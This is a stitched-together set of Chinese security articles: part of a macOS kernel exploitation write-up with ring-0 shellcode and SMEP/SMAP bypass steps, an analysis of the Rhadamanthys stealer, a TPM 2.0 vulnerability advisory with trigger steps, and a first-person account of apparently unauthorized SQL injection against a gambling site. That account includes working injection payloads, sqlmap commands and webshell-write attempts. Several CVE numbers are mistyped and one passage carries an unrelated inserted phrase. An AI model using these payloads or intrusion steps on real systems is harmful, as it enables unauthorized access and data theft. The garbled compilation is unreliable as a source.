洩露kernel slide當我們觸發遠程調用時,Supervisor Mode Execution Prevention (SMEP)阻止我們跳轉到用戶空間中的可執行代碼。頁表仍然處於用戶模式,其中唯一映射的內核空間頁用於dblmap。這就留下了跳到__HIB文本部分中的現有代碼的唯一選項。

我們將遠程調用指向ks_64bit_return()的中間,它包含以下指令序列:

15.png

請記住,我們擁有完全的寄存器控制(rsp除外,它將是內核堆棧),因此對r15解引用的第一條指令將給我們一個任意的讀原語。我們只需將r15適當地設置為要讀取的地址,進行遠程調用,在返回到用戶空間時,r15將包含解除引用的數據。

這可能導致從dblmap中洩漏一個函數指針,從而暴露kernel slide。具體來說,我們可以從idt64_hndl_table0中洩漏ks_dispatch()指針。

這裡有一點需要注意的是,從遠程調用返回通常是通過遠返回指令retf 完成的,而不是iretq 中斷返回。 堆棧佈局將與預期略有不同:

16.png

rflags 將從舊的rsp 中設置,而rsp 將使用舊的ss 填充,而ss 將從之後發生在堆棧上的任何內容中填充。這意味著:

在進行遠程調用之前,可以通過將RSP設置為Rflags值來“恢復”Rflags;

從舊的ss中設置RSP是沒有問題的,我們可以自己恢復RSP;

加載到ss的堆棧上的下一個值將是一個內核指針,這將是一個無效的選擇器,並將觸發一個異常。然而,這個異常將發生在中斷返回後的ring3中,所以我們可以簡單地使用預期的Mach異常處理行為來捕獲它。

可以使用thread_set_exception_ports()來為EXC_BAD_ACCESS註冊一個異常端口。我們生成一個線程來等待異常消息,然後用包含正確的ss選擇器的消息內容來響應,從而允許遠程調用線程繼續。

控制頁表,控制一切kernel slide不僅顯示內核基址的虛擬地址,而且還顯示其物理地址。這為我們提供了CPU 0的LDT的物理地址,或者換句話說,就是受控數據的物理地址。

這為我們提供了一個非常強大的工具:如果我們重構調用門以跳轉到mov cr3指令,我們將立即獲得任意的ring0代碼執行。

我們所需要做的就是確保我們正確地設置了我們的偽頁表(駐留在LDT 中):

1.mov cr3後面指令的虛擬地址應該映射到傳入LDT的shellcode的物理地址;

2.內核堆棧應該是可映射和可寫的(對於CPU 0,這是__HIB 段中的符號master_sstk);

3.根據經驗,這是不必要的,但是為了安全起見,應該映射GDT(對於CPU 0,符號master_gdt)。

注意,這只適用於CPU 0,它的LDT靜態分配在__HIB段中。其他CPU 的LDT 從內核堆分配,虛擬別名插入到dblmap 的頁表中。這些堆分配的物理地址不能直接從kernel slide中推斷出來。

內核Shellcode由於對LDT 描述符的限制,我們傳入LDT的shellcode將由任意6字節的塊組成。如果我們使用2 個字節進行短跳轉(EB + 偏移量),這會留下4 個任意字節的塊。

雖然理論上這已經結束了,但在“正常”頁表狀態下更容易獲得不受限制的shellcode執行。為了實現這一目標,一個簡單的解決方案是使用受限制的shellcode禁用SMEP和SMAP(它們只是CR4寄存器中的位),然後返回到用戶空間。然後,我們可以像以前一樣觸發一個被劫持的虛擬內核調用,但這一次跳轉到用戶空間中的任意shellcode。

一個小細節是每個CPU都有控制寄存器,所以只有在執行LDT shellcode的CPU上才會禁用SMEP和SMAP。

另一個實現細節是如何干淨地返回到用戶空間,這將需要恢復原始頁表。我們通過讓shellcode執行以下操作來實現:

1.從dblmap 讀取cpshadows[i].cpu_ucr3 到rax;

2.修改堆棧以形成有效的iretq 佈局;

3.跳轉到ks_64bit_return() 執行cr3 切換(來自rax),然後執行iretq;

我們介紹了dblmap 如何大大降低KASLR 的功效,提供幾個有趣的內核調用目標、主機走私內核shellcode 等。

Rhadamanthys是一款很高級的信息竊取程序,於去年9月在暗網上首次亮相,亮相之初即受到了攻擊者的熱捧。

2022年9月24日,一個化名“kingcrete2022”的用戶發布了以下內容:

1.png

開發者並沒有急於將該產品投放市場,他們已經以“kingcrete2022”的化名在論壇上潛伏了半年,實際可能比其他化名的時間還要長。惡意軟件的整體性構建在正式發布前整整一個月就已經編譯完成了。在正式發布後,一系列瘋狂的版本更新便開始了,開發者添加了一長串功能和子功能,並提供了英語和俄語支持。很快數千個用戶的信息、數十萬個密碼和數百個加密貨幣錢包就被竊取。為了擴大攻擊範圍,開發者還對購買其服務的用戶提供了售後服務。

2.png

攻擊目標理論上,Rhadamanthys的開發者並不關心用戶如何處理竊取者竊取的非法數據,不管是實施欺詐、出售數據、發動內戰,對開發者來說都是一樣的。實際上,這種現成惡意軟件的主要客戶是投機取巧的網絡犯罪分子,他們的目標是在任何時間感染任何人。因此,活動受害者遍布世界各地,特別是在一些地方,一些運營商已經開始進行創造性迭代了,比如一個活動以OBS studio等視頻編輯軟件為幌子傳播樣本,通過谷歌廣告推送給不知情的受害者。

3.png

攻擊熱圖一般來說,操作這類惡意軟件的攻擊者通常不像大型勒索軟件組織那樣太關心大型目標。對他們來說,這只是一場數字遊戲,即從眾多受害者身上榨取金錢。儘管如此,從統計數據來看,這些攻擊的最終目標確實是針對大型組織的;通過監測,我們能夠確認Rhadamanthys試圖感染加拿大的一家政府機構,以及印度基礎設施部門的一家能源公司。

功能概述Rhadamanthys中包含的功能非常多,其設計原則就是囊括信息竊取所需的一切功能和有關擴展。

Rhadamanthys的功能列表包括竊取受害者的系統信息:計算機名稱、用戶名、內存容量、CPU內核、屏幕分辨率、時區、地理位置、環境、安裝的軟件、屏幕截圖、cookie、歷史記錄、自動填充、保存的信用卡、下載、收藏夾和擴展,它從FTP客戶端竊取憑據——Cyberduck、FTP Navigator、FTPRush、FlashFXP、Smartftp、TotalCommander、Winscp、Ws_FTP和Coreftp;以及來自郵件客戶端CheckMail, Clawsmail, GmailNotifierPro, Mailbird, Outlook, PostboxApp, Thebat! Thunderbird, TrulyMail, eM和Foxmail;它從雙因素驗證應用程序和密碼管理器RoboForm、RinAuth、Authy和KeePass竊取憑據;VPN業務,包括AzrieVPN、NordVPN、OpenVPN、PrivateVPN_Global_AB、ProtonVPN和WindscribeVPN;筆記應用程序,包括NoteFly、Notezilla、Simple Stick Notes和Windows Stick Notes;即時通訊應用程序的消息歷史記錄,包括Psi+、Pidgin、tox、Discord和Telegram;此外,它還竊取了Steam、TeamViewer和SecureCRT的受害者憑據。

5.png

當Filezilla FTP憑據出現在攻擊者端時被竊取

開發者特別強調了與竊取加密貨幣相關的功能,在一個版本更新中,有9項新功能,其中4項是對加密貨幣錢包的竊取和破解的增強。最初版本中支持的錢包列表確實很難處理,包括Auvitas, BitApp, Crocobit, Exodus, Finnie, GuildWallet, ICONex, Jaxx, Keplr, Liquality, MTV, Metamask, Mobox, Nifty, Oxygen, Phantom, Rabet, Ronin, Slope, Sollet, Starcoin, Swash, Terra, Station, Tron, XinPay, Yoroi, ZilPay, Coin98, Armory, AtomicWallet, Atomicdex, Binance, Bisq, BitcoinCore, BitcoinGold, Bytecoin, coinomi, DashCore, DeFi, Dogecoin, Electron, Electrum, Ethereum, Exodus, Frame, Guarda, Jaxx, LitecoinCore, Monero, MyCrypto, MyMonero, Safepay, Solar, Tokenpocket, WalletWasabi, Zap, Zcash 和Zecwallet。

所有這些竊取行為都是在感染後自動執行的,如果攻擊者決定對受感染的設備進行更多的操作,他們可以將新配置推到“文件抓取”模塊,該模塊將竊取與windows搜索查詢匹配的所有文件或者對於真正的高級用戶,將手工製作的powershell推到受害設備上執行。

6.png

在攻擊者端出現時被竊取的環境變量

7.png

“文件抓取”模塊在攻擊者端出現時竊取的文件

技術分析初步執行流程該惡意軟件在進入信息竊取功能之前要經歷六個執行階段:滴管、shellcode、安裝程序等。

在分析Rhadamanthys時,我們觀察到分析樣本的邏輯與上述文章中詳細描述的邏輯之間的差異,這證明了惡意軟件還在不斷開發中。最值得注意的是NSIS加載程序DLL的行為,在我們分析的執行流中,它從C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\AppLaunch.exe創建一個掛起的進程,然後用注入的惡意代碼逐個替換掛起的進程。

8.png

如上所述,注入的代碼會依次加載幾個執行階段,其中一個階段嘗試從Al-Khaser項目中獲取許多VM逃避,然後解綁ntdll.dll中的函數,以避免被檢測到。最後,它解析了一個內部混淆的C2地址,並從其中下載包含實際信息竊取功能的最後階段。

分析孤立內存轉儲分析實際的竊取邏輯並不是那麼簡單,在無法訪問實時C2服務器的情況下,分析師有兩種選擇。要么他們去執行一個全新的執行鏈,對所有階段進行調試,並希望獲得一個實時的C2服務器,該服務器會使用很多啟發式方法將它們竊取;或者在不可讀的狀態下使用轉儲,這些轉儲是在C2仍然存在時從沙箱運行中獲得的。在這種特殊的情況下,內存轉儲包含許多說明惡意軟件大致行為的字符串,但是在進行適當的交互式反彙編之前存在許多障礙。

第一個也是最主要的障礙是缺乏API調用的解決方案。在反彙編程序中打開轉儲,然後進行函數調用,可以很快地運行一個必須是動態解析函數的自製導入表。轉儲是沙箱運行的產物,早就結束了,現在這些地址似乎毫無意義。我們能夠使用下面將要解釋的方法來解析幾乎每個函數。

9.png

首先,我們知道,在沙箱運行期間,這些地址指向加載到內存中的DLL。第二,我們知道執行是在擁有代碼名為Win10v2004-20220812-en的tria.ge環境中運行的。我們將自己的虛擬可執行文件上傳到沙箱中,確保我們選擇的環境與原始沙箱運行中使用的環境相同,然後查看我們選擇的DLL並恢復DLL版本。

10.png

不幸的是,即使我們有DLL版本,微軟也沒有那麼慷慨地提供DLL的歷史版本供下載。這類問題有多種解決方法,你可以上winbindex查找。我們選擇使用tria.ge的一個功能:許多用戶要求提供手動轉儲執行流中生成的文件的功能。作為一種解決方案,沙箱引入了一項功能,允許用戶轉儲他們想要的任何文件,只要他們打開windows文件資源管理器並手動刪除那裡的文件。好吧,如果我們嘗試將kernel32.dll從C:\windows\system32中的駐留位置刪除,操作系統將不會允許,但沒有什麼能阻止我們將文件複製到其他地方,然後刪除副本。在原始沙箱運行期間加載到內存中的同一個DLL現在可以在分析結束後從分析報告的“下載”部分獲得。

11.png

通過這種方式,我們下載了許多dll,這些dll是惡意軟件或任何軟件真正想要解析API的始作俑者,如advapi32.dll、user32.dll、msvcrt.dll、ws2_32.dll等。現在我們可以在反彙編程序中打開這些文件,手動加載文件並為每個DLL函數分配虛擬地址。遺憾的是,我們還遠遠沒有完成,因為我們仍然不知道DLL最初加載時的基址,甚至不知道特定的DLL包含某個內存地址所指向的函數。

即使不知道哪一個是相關的DLL,也可以通過簡單的觀察在一定程度上緩解,例如,在下圖中,函數qword_c5c08(指針值0x7ffbf1bd5f20)將註冊表項作為參數,因此很可能來自advapi32.dll。但這不會適用於每個dll,我們不會總是足夠幸運地找到一個函數,惡意軟件會將這樣一個硬編碼字符串作為參數。更關鍵的是,即使我們以某種方式知道每個函數地址的正確DLL,這仍然不會告訴我們在最初的沙箱運行期間加載DLL的原始地址,這對於計算當時加載到內存中的函數地址(我們正在嘗試解析)與我們在反彙編程序中打開的加載的帶註釋的DLL中的標記函數地址之間的rebase delta(基於深度學習的語音和自然語言理解模型訓練平台)是必要的。

12.png

qword_c5c08可能是一個以某種方式與Windows註冊表交互的函數

為了克服這個障礙,我們注意到沙箱轉儲中的函數地址可能被劃分為連續的序列,每個序列都是從同一個DLL導入的。這意味著,如果我們從表中取出10個qword指針,幸運的是它們都是從同一個DLL中解析的,那麼當加載到內存中時,在該DLL中,這10個函數的地址之間將存在相同的差異。為了講解方便,我們舉一個示例:假設我們要解析的10個地址列表以某個地址AX開始,然後以AX+0x300、AX+0x500、AX+0x930等六個其他地址繼續;進一步假設,在一個加載和註釋的DLL中,我們發現對於某個地址AY,恰好AY+0x300、AY+0x500、AY+0x930等都是函數的地址。這是一個非常幸運的巧合,它本身就發生了,原始沙箱運行中的原始地址AX解析為我們註釋文件中AY中的函數。通過查看與列表中的地址匹配的10個函數名,並驗證它們似乎是沙箱中運行的軟件所需的合理列表,可以進一步檢查匹配情況。

以下IDAPython代碼在加載的DLL數據庫中運行時,將自動執行查找函數地址序列匹配項的任務:

13.png

例如,上圖中看到的地址(我們懷疑是從advapi32.dll解析出來的地址)出現在以下10個地址的序列中:

14.png

我們打開從沙箱中轉儲的advapi32.dll文件的註釋idb,加載上面的IDA腳本,並運行函數dll_match,將此地址列表作為輸入。作為輸出,我們收到這些函數地址中每一個的正確分辨率。

15.png

事實證明,在沙箱運行期間加載到地址0x7ffbf1bd5f20的上述函數是RegQueryValueExW。使用這種方法,可以很容易地“挑選”並嘗試對各種dll運行相同的腳本,以查看獲得了哪些匹配,以及它們的可行性。雖然特定的工作流程不能很好地擴展,但如果需要的話,不難看出如何簡化流程,例如,通過保留許多DLL版本的函數地址差異的預計算數據庫,並對其進行所有差異比較。

竊取Chrome信息的過程示例

即使解決了API調用,數據庫仍然非常大,包含超過2500個函數。其中許多是來自第三方庫的庫函數,如sqlite3和lua_cjson,這帶來了另一個麻煩,因為解析這些函數需要我們編譯這些庫的註釋版本,然後執行bindiff(或類似的操作)來標記Rhadamanthys使用的函數。這是一個出了名的挑選過程,許多標籤在手動驗證之前並沒有太大用處。

綜上所述,數據庫的狀態現在更令人滿意,並允許我們以以前無法做到的方式分析執行流。例如,我們將重點關注惡意軟件從谷歌Chrome中竊取存儲的登錄憑據、cookie等的能力,包括三個階段:正在搜索包含所有數據的正確目錄;

從包含cookie、登錄數據等的感興趣的文件中讀取原始數據;

根據數據是JSON還是SQL數據庫格式,使用第三方庫邏輯對數據進行解析;

惡意軟件首先在受害者文件系統中遞歸搜索名為“web data”的文件,以導航到%LOCALAPPDATA%\\Google\\Chrome\\User data\\default,然後遍歷樹查找其他工件,如“Cookie”或“登錄數據”,並將每個匹配項收集到二進制位字段中;如果這個字段非零,那麼惡意軟件就會確信它已經正確定位了Chrome目錄。

16.1.png

16.2.png

然後,惡意軟件會訪問用戶感興趣的文件,比如登錄數據。其中一些文件是SQL數據庫,在這種情況下,惡意軟件從內存中的文件內容初始化SQL數據庫,然後通過發出SELECT語句獲得所需的數據。相比之下,其他的則是JSON格式,因此惡意軟件會調用一個函數來解析JSON並提取與某個項相關的值:

17.1.png

17.2.png

通過將信息解析為明文格式,現在可以將其附加到被盜信息數據庫中,並最終報告給攻擊者,從而得到針對該特定目標(Chrome)的盜竊功能。

總結Rhadamanthys代表著在新興惡意軟件發展的趨勢,即它們盡可能多地發揮作用,也證明了在惡意軟件行業,品牌的影響力慢慢變大。一些讀者可能還記得Godzill加載程序的模式,它的零售價格只有Emotet的四分之一,並提供一系列與Emotet截然不同的功能,以增強其競爭力。這清楚地表明,攻擊者不會明確計算哪些功能集會為他們帶來更多的受害者,他們依賴於一種模糊的感覺,即他們對開發者、品牌和功能更看重。任何開發人員都可以編寫一段惡意軟件,有些開發人員甚至可以編寫一個具有完整功能的惡意軟件,但需要市場的認可。

我們將在本文中詳細討論在可信平台模塊(TPM) 2.0參考實現代碼中發現的兩個漏洞。這兩個漏洞,即越界寫入(CVE-2023-1017)和越界讀取(CVE-2013-1018),影響了多個TPM 2.0軟件實現(如虛擬化軟件使用的軟件)以及多個硬件TPM。

介紹2021年10月,微軟發布了Windows 11。其中一個突出的安裝需求是需要可信平台模塊(TPM) 2.0。這一需求的含義是,為了能夠在虛擬機中運行Windows 11,虛擬化軟件必須通過對主機上的硬件TPM進行傳遞或通過向其提供虛擬TPM來向VM提供TPM。

我們發現這是一個有趣的漏洞研究主題,因為添加虛擬TPM意味著可以從客戶內部訪問虛擬化軟件的擴展攻擊面,因此它可能用於虛擬機逃逸。作為研究工作的結果,我們發現了兩個安全問題:一個被標識為CVE-2023-1017的越界寫入,另一個被識別為CVE-203-1018的越界讀取。它們可以從用戶模式應用程序通過發送帶有加密參數的惡意TPM 2.0命令來觸發。有趣的是,這兩個漏洞的影響比我們最初想像的要大,鑑於它們源自Trusted Computing Group(簡稱TCG,發布和維護TPM規範的非營利組織)發布的參考實現代碼,這些安全漏洞不僅影響到我們測試的每個虛擬化軟件,也包括硬件實現。

請注意,這篇文章中的大多數評估(例如關於可利用性、影響或受影響的平台)都是基於我們對基於軟件的虛擬TPM的分析,因為我們可以用一種簡單的方式調試它們來執行動態分析,因為調試Hyper-V的虛擬TPM更難,因為它作為一個IUM進程運行。相反,在沒有調試接口的單獨芯片中運行的TPM固件中,了解運行時發生的事情是一個完全不同的問題。事實證明,即使對硬件TPM的固件進行靜態分析也很困難,因為我們試圖分析的少數TPM固件更新碰巧是加密的。因此,缺乏對硬件TPM的具體評估並不意味著它們不受影響,而是由於缺乏可觀察性,我們無法評估它們中的大多數是如何受到影響的。但是,使用本文中發布的概念驗證代碼,至少會驗證一些TPM芯片是易受攻擊的。在嘗試OOB寫入後,芯片將停止響應(即不再識別命令),並需要重新啟動計算機才能再次運行,從而確認其易受攻擊狀態。

受影響的平台以下是受影響的軟件和硬件平台的簡單列表。其中列出的產品,是我們可以藉助本文中提供的PoC證明存在漏洞的產品,但其他TPM(無論是虛擬的還是物理的)也很可能存在漏洞。

在我們進行研究時,易受攻擊的代碼存在於TPM 2.0參考實現的最新可用版本:Trusted Platform Module Library Specification, Family '2.0', Level 00, Revision 01.59 – November 2019;

Windows 10上的Microsoft Hyper-V(受影響模塊:TPMEngUM.dll版本10.0.19041.1415);

VMware Workstation 版本16.2.4 構建-20089737(受影響模塊:tpm2emu.exe -可執行文件中沒有版本信息);

Qemu和VirtualBox使用的Libtpms/SWTPM (從主分支編譯,提交520a2fa27d27a4ab18f4cf1c597662c6a468565f);

Nuvoton硬件TPM(固件版本:1.3.0.1);

通常,所有固件基於可信計算組參考實現代碼的TPM 2.0都會受到影響。

對雲計算的威脅當前幾乎所有主要的雲計算提供商都提供帶有虛擬TPM的實例,這使得攻擊者可能試圖利用虛擬TPM中的這些漏洞,以繞過虛擬機並破壞主機系統。

亞馬遜AWS已配備了NitroTPM,Nitro TPM:Trusted Platform Module (TPM) 2.0,是一項安全性和兼容性功能,可讓客戶更輕鬆地在其EC2實例中使用依賴於TPM的應用程序和操作系統功能。它符合TPM 2.0規範,可以輕鬆將使用TPM功能的現有本地工作負載遷移到EC2;

Microsoft Azure提供虛擬TPM作為可信啟動的一部分;

谷歌云提供虛擬TPM作為屏蔽虛擬機的部分功能;

Oracle Cloud Infrastructure提供虛擬TPM作為屏蔽實例的一部分。

那些使用基於TCG參考實現的虛擬TPM的提供商預計很容易受到攻擊。以Google Cloud為例,他們的虛擬TPM的核心來自IBM發布的代碼,該代碼自動從TPM 2.0規範的完整源代碼中提取,CryptParameterDecryption函數中的漏洞存在於其中。以微軟Azure為例,他們的虛擬TPM“符合TPM 2.0規範”,我們已經驗證了Windows 10上可用的Hyper-V版本中包含的虛擬TPM確實非常易受攻擊。

關於亞馬遜AWS和Oracle雲基礎設施,除了知道“符合TPM 2.0規範”並鏈接到TCG網站外,我們沒有太多關於他們的信息。

修復參考實例(Reference Implementation)可信計算組織(Trusted Computing Group,TCG)發布了TCG可信平台模塊庫的勘誤表1.4版,並對這兩個漏洞提出了修復建議。

軟件產品微軟在2023年3月的安全更新中修復了Hyper-V中的漏洞。他們對TPM 2.0在Azure的Pluton/HCL/Overlake/Manticore標準服務器上的OOB寫入影響的評估很低,因為只有2個字節覆蓋,目前該團隊還沒有一種易於實現的方法來獲得僅2個字節的EoP或RCE。

微軟還通過提交9bdd9f0aaba5e54b3c314cfff02cf532281a067e修復了他們的開源參考實現。

VMware預計將於2023年4月發布這些漏洞的修復程序。

Libtpms修復了提交324dbb4c27ae789c73b69dbf4611242267919dd4中的漏洞。

Chromium OS修復了提交3b87ed233acb4c76c27872e1ac0b74dc032199f1漏洞。

IBM在提交102893a5f45dbb0b0ecc0eb52a8dd4defe559f92中修復了他們的開源實現。

硬件產品Nuvoton為其NPCT65x TPM芯片發布了安全諮詢SA-003。

聯想發布了關於使用上述Nuvoton TPM的受影響產品的安全諮詢LEN-118320。

查看計算機製造商的網站以獲取TPM固件更新。

技術細節關於TPM加密參數的入門教程如Trusted Platform Module Library Specification,Family 2.0,Part 1:Architecture 第21節“基於會話的加密”中所描述的那樣,一些TPM 2.0命令具有可能需要加密的參數,這些參數可能需要去往TPM或通過TPM進行加密。可以使用基於會話的加密來確保這些參數的機密性。引用規範如下:

並非所有命令都支持參數加密。如果允許基於會話的加密,只有請求或響應的參數區域中的第一個參數可以被加密。參數必須有明顯的大小字段。只有參數的數據部分被加密。 TPM應該支持使用XOR模糊處理的基於會話的加密。對使用CFB模式的分組密碼的支持是特定於平台的。這兩種加密方法(XOR和CFB)不需要填充數據進行加密,因此加密數據大小和純文本數據大小相同。

基於會話的加密使用會話啟動時建立的算法參數以及從特定於會話的sessionKey派生的值。

如果sessionAttributes.decrypt在命令的會話中為SET,並且該命令的第一個參數是一個大小為緩衝區的參數,則使用會話的加密參數對該參數進行加密。

帶有加密參數的TPM 2.0命令由基本命令標頭、handleArea和sessionArea組成,最後是加密的參數parameterArea。結構如下:

1.png

如下圖所示,在TPM 2.0參考實現中,ExecCommand.c中的ExecuteCommand函數檢查sessionArea的authorizationSize字段是否至少為9([1])。之後,在[2]中,它計算parameterArea的開始(位於sessionArea之後),並將其保存到parmBufferStart變量中。在[3]中,它計算parameterArea的大小,並將其保存到parmBufferSize變量中。然後它調用ParseSessionBuffer()([3]),傳遞parmBufferStart和parmBufferSize作為參數([5], [6])。

2.png

SessionProcess.c中的函數ParseSessionBuffer解析命令的sessionArea。如果會話具有Decrypt屬性集([1]),並且命令代碼允許參數加密,則ParseSessionBuffer調用CryptParameterDecryption()([2]),傳播parmBufferSize([3])和parmBufferStart([4])參數:

3.png

CryptParameterDecryption函數中存在的漏洞CryptUtil.c中的函數CryptParameterDecryption對加密的命令參數執行就地解密。

4.png

此函數中出現的兩個安全漏洞漏洞1:OOB read(CVE-2023-1018):在[1]中,函數使用BYTE_ARRAY_TO_UINT16宏從parmBufferStart指向的緩衝區中讀取16位字段(cipherSize),而不檢查是否有任何參數數據超過會話區域。之前在函數ExecuteCommand中執行了唯一的長度檢查,但該檢查只驗證了命令的sessionArea至少有9個字節。因此,如果格式錯誤的命令不包含越過sessionArea的parameterArea,它將觸發越界內存讀取,使TPM在命令結束後訪問內存。

請注意,BYTE_ARRAY_TO_INT16宏不執行任何邊界檢查:

5.png

應該使用UINT16_Unmarshal函數來代替,它在從給定的緩衝區讀取之前執行適當的大小檢查。

漏洞2:OOB寫入(CVE-2023-1017):如果提供了適當的parameterArea(避免出現漏洞1),則parameterArea的前兩個字節將被解釋為要解密的數據的大小([1]處的cipherSize變量)。在讀取了cipherSize之後,在[2]處,緩衝區指針向前移動2。在[3]中有一個健全性檢查,如果cipherSize值大於實際緩衝區大小,那麼它將被釋放,但這裡有一個問題,在讀取cipherSize 16位字段並將緩衝區指針向前移動2之後,函數會忘記從bufferSize減去2,忽略已經處理的兩個字節。因此,使用比剩餘數據實際大小大2的cipherSize值成功地通過[3]的完整性檢查是可能的。這樣,當調用CryptXORObfuscation()或ParmDecryptSym()函數(分別在[4]和[5]處)來實際解密cipherSize字段後面的parameterArea中的數據時,TPM最終會在緩衝區末尾寫入2個字節,從而導致越界寫入。

一個只有2個字節的OOB寫入一開始可能看起來不是一個非常強大的原語,但去年已有研究人員通過一個值為0x01的單字節OOB寫入,成功地在谷歌Titan M芯片上執行了代碼。

影響1.OOB讀取:CryptUtil.c中的函數CryptParameterDecryption可以讀取接收到的TPM命令結束後的2個字節。如果受影響的TPM沒有將接收到的命令之間的命令緩衝區清零,則可能導致受影響的函數讀取先前命令中已經存在的任意16位值。這取決於實現過程:例如,VMware不會清除請求之間的命令緩衝區,因此OOB讀取可以訪問上一個命令中已經存在的任何值,相反,Hyper-V的虛擬TPM在每次接收到請求時都會用零填充命令緩衝區中未使用的字節,因此OOB訪問最終只讀取零

2.OOB寫入:CryptUtil.c中的函數CryptXORObfuscity/ParmDecryptSym(從CryptParameterDecryption調用)可以在命令緩衝區結束後寫入2個字節,從而導致內存損壞。

第二個漏洞無疑是最有趣的一個。能夠覆蓋有用內容的可能性取決於每個實現如何分配接收TPM命令的緩衝區。例如:

VMware使用大小為0x10000的超大緩衝區,遠遠大於通常的最大TPM命令大小0x1000字節;

Hyper-V使用一個大小為0x1000的靜態變量作為命令緩衝區;

SWTPM使用malloc()分配大小為0x1008的命令緩衝區(8字節用於發送命令前綴,可用於修改位置,加上0x1000字節用於最大TPM命令大小)。

因此,在命令緩衝區附近有一些有用的東西(我們可以用OOB寫入來覆蓋)的可能性實際上取決於實現。上面提到的三個虛擬TPM都使用完全不同的方法來分配命令緩衝區。類似地,在給定硬件TPM的固件的命令緩衝區之後覆蓋一些有用內容的可能性完全取決於特定硬件供應商如何分配用於保存傳入命令的緩衝區。

觸發漏洞為了再現上述2個漏洞中的一個,有必要向目標TPM發送2個命令。在這兩種情況下,第一個命令必須是TPM2_StartAuthSession命令,以啟動授權會話。為簡單起見,我們可以指定TPM_ALG_XOR作為要使用的對稱算法。結果,我們得到一個包含會話句柄的TPM響應。

之後,我們需要發送一個支持參數加密的命令。我們使用了tpm2_creatprimary,儘管其他一些命令可能也能運行。我們在tpm2_creatprimary命令的sessionArea中傳遞上一步中獲得的會話句柄,並在sessionAttributes字段中設置Decrypt標誌。然後:

1.為了再現漏洞1(OOB讀取),我們發送具有最小有效sessionArea的TPM2_CreatePrimary命令,之後沒有數據,即缺少parameterArea。

2.為了再現漏洞2 (OOB寫入),我們發送tpm2_creatprimary命令,其總大小等於支持的最大TPM命令大小(0x1000字節)。在本例中,我們確實包含了一個parameterArea,其中cipherSize字段設置為0xfe5 (0x1000 - sizeof(command_base_header) - sizeof(handleArea) - sizeof(sessionArea)),後面跟著0xfe3字節的任意值(填充加密參數的位置),以完成整個tpm2_creatprimary命令的0x1000字節。

概念驗證.zip文件包含PoC的Python版本(用於在Linux系統上運行)和C版本(用於在Windows機器上運行)。

總結在TPM 2.0參考實現的代碼中發現了兩個安全漏洞:越界讀取和越界寫入。因此,其固件基於可信計算組發布的參考代碼的每個TPM(軟件或硬件實現)都將受到影響。

有趣的是,儘管所有受影響的TPM共享完全相同的易受攻擊的功能,但成功利用的可能性取決於命令緩衝區的實現方式,這部分取決於每個實現。從上述示例可以看到,每個人似乎都以不同的方式處理它:一些人在接收到的請求之間清除命令緩衝區,但另一些人不會;有些通過malloc()在堆中分配命令緩衝區,而另一些則使用全局變量。

本文已經驗證這些漏洞存在於主要桌面虛擬化解決方案(如VMware Workstation、Microsoft Hyper-V和Qemu)中包含的軟件TPM中。最大的雲計算提供商提供的虛擬TPM也可能受到影響。例如,Google Cloud使用IBM發布的代碼自動從TCG參考實現中提取,並且IBM提供的代碼中存在的漏洞也被驗證了。以微軟Azure為例,我們已經提到Windows 10上的Hyper-V受到了影響,由於Azure虛擬機監控程序是基於Hyper-V的,我們預計這兩個漏洞也會出現在Microsoft的雲平台上。

我們預計大多數TPM硬件供應商也會受到影響。由於缺乏調試設置來查看TPM固件在運行時發生的情況,因此很難確認物理芯片中是否存在漏洞。靜態分析可以作為評估硬件TPM是否易受攻擊的替代方法,但在我們設法獲得的少數TPM固件更新中,這些更新是加密的。

0x00  信息搜集

朋友给了我一个站,算一个比较大的bc,主站看了一下,没有入口,就换了他的一个推广平台

图片

然后首先大致扫了一下目录,希望可以看见一些有用的东西。
这个时候我可以推荐大家一个接口,可以快速大致看看他重要的文件
https://scan.top15.cn/web/infoleak
例如探针,网站源码是否打包,很明显我没有扫出来,然后给大家看看扫描结果。

图片

config.inc.php根据经验看应该是数据库的配置文件,但是大小为0B,试探性的访问一下,果然什么都没有
upload访问就是403,但是根据经验还是会再去扫一下它,说不定是什么fck编辑器呢,也很遗憾,啥子都没有扫到。
/index.php/login/ ,大小只有2kb,也根本不是后台,有点失落。
端口的话也只有这一个web资产,只好看一下他的网站功能了。
然后点击了一下查询,希望可以在这里找找注入。

0x01  后台注入

图片

果然,有注入,剩下的就是找后台了。

图片

查看当前数据库,and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--

图片

这里记一下踩坑,account=1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--('
这是完整的payload,最开始我的payload为account=1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+。

tm始终不出数据,我以为他妈有过滤。

还一个一个fuzzing。

后面想了想会不会注释闭合了还会追加').果然,闭合以后出了数据。

然后有用sqlmap跑数据,没想到tm的跑不出来。

只有自己重新构造sqlmap语句
python2 sqlmap.py -r 1.txt --prefix "')" --suffix "--('" --level 3 --tamper=space2plus --skip-urlencode
终于跑出来了。

后面看了一下payload,每次跑都会把空格编译为20%,url编码了以后payload就不生效了,就用了skip-urlencode这个参数。

0x02  注入点

惊喜又来了,看了一下priv,真的,这么多mysql注入,终于有了一个比较高的权限。

图片

我直接账号密码都没有看,刚刚报错除了绝对路径,这不--os-shell?
然后查看payload的时候,发现了hws,我就感觉不简单了,兄弟们。

图片

果然,写不进去,后面加了--hex也是写不进去的。

那没事,还有--sql-shell。

用堆叠写,虽然我知道大概率写不进去,但是还是要尝试一下,说不定呢。

渗透tm就是玄学。

图片

查看了一下priv,不是null,又给了我一丝丝希望,写,先写一个txt看看。

select 1 into outfile 'D:/wwwroot/wnshd.com_22fqiz/web/1.txt'

图片

然后去网站看,并没有写进去,真的太难了。

就只剩下--file-write了,这个就不贴图了,依然还是没有拿下。

无奈,只有查看后台账号密码。

图片

账号密码收集完了,就去找后台,但是很遗憾,还是没有找到,都接近绝望了。

这tm都送到嘴里了,怎么还是拿不下,我tm就感觉是sqlmap的问题,我有重新弄了一次上面的步骤,我明白了,sqlmap可能会骗你,但是hws不会,你写不进去,就是写不进去。

算了还是换一个思路吧,报错不是爆了这个目录吗?

wolsoowpppps,我在回去看看,不出意外的403,wolsoowpppps/admin,wolsoowpppps/login。

都没有东西,dirsearch一扫,tm还是没有。

0x03  写马不成功

他报错不是web/wolsoowpppps这个路径吗,会不会是我绝对路径有问题,我访问

图片

怎么也是403,那只能说明这是一个没有扫出来的目录,尼玛的,我tm感觉这里有东西。

结果一扫,图就不贴了,还是什么也没有。

哈哈哈哈。

有白高兴一场。

